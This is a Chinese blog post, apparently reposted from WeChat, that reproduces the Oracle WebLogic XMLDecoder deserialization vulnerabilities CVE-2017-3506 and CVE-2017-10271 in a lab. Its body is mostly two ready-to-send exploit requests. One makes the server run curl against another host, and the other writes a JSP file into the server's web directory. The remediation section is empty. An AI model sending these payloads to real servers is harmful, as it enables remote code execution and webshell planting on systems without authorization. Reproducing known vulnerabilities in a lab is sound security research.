Oracle WebLogic Server 是一个统一的可扩展平台，专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。
CVE-2017-10271与CVE-2017-3506利用方式一样，在CVE-2017-10271 POC内限制了object的使用。
复现环境：
Oracle WebLogic Server 10.3.6.0
0X02 漏洞复现
访问目录如果存在，可能存在漏洞。
http://192.168.245.134:7001/wls-wsat/CoordinatorPortTypehttp://192.168.245.134:7001/wls-wsat/CoordinatorPortType11
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.245.134:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 559<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="2"><void index="0"><string>curl</string></void><void index="1"><string>http://192.168.245.129:8888/123</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.245.134:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
0X03 修复建议
0X04
原文始发于微信公众号（皓月的笔记本）：Weblogic 反序列化漏洞（CVE-2017-3506/CVE-2017-10271）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论